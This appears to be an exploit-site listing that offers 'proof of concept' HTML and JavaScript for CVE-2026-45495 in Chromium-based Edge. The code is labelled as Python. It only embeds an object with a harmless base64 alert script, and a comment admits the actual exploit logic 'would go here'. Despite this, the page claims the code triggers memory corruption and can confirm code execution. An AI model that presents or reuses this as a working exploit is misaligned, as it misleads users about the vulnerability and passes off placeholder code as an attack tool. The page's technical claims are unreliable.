Microsoft Edge (Chromium-based) < 2026-05-18 Security Update
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-45495 -->
<!-- This PoC demonstrates the trigger condition for the Edge vulnerability -->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-45495 PoC</title>
<script>
// Attempt to trigger the vulnerable component in Edge
function triggerVulnerability() {
var maliciousObject = document.createElement('object');
// Set specific attributes to hit the vulnerable code path
maliciousObject.data = "data:text/html;base64,PHNjcmlwdD5hbGVydCgnaGVsbG8nKTwvc2NyaXB0Pg==";
maliciousObject.type = "text/html";
document.body.appendChild(maliciousObject);
// Trigger memory corruption via specific property manipulation
try {
maliciousObject.onload = function() {
// Exploit logic would go here to achieve RCE
console.log("Vulnerability triggered in Edge.");
}
} catch (e) {
console.log("Error triggering vulnerability: " + e.message);
}
}
window.onload = triggerVulnerability;
</script>
</head>
<body>
<h1>CVE-2026-45495 Test Page</h1>
<p>If the browser crashes or executes code, the vulnerability is confirmed.</p>
</body>
</html>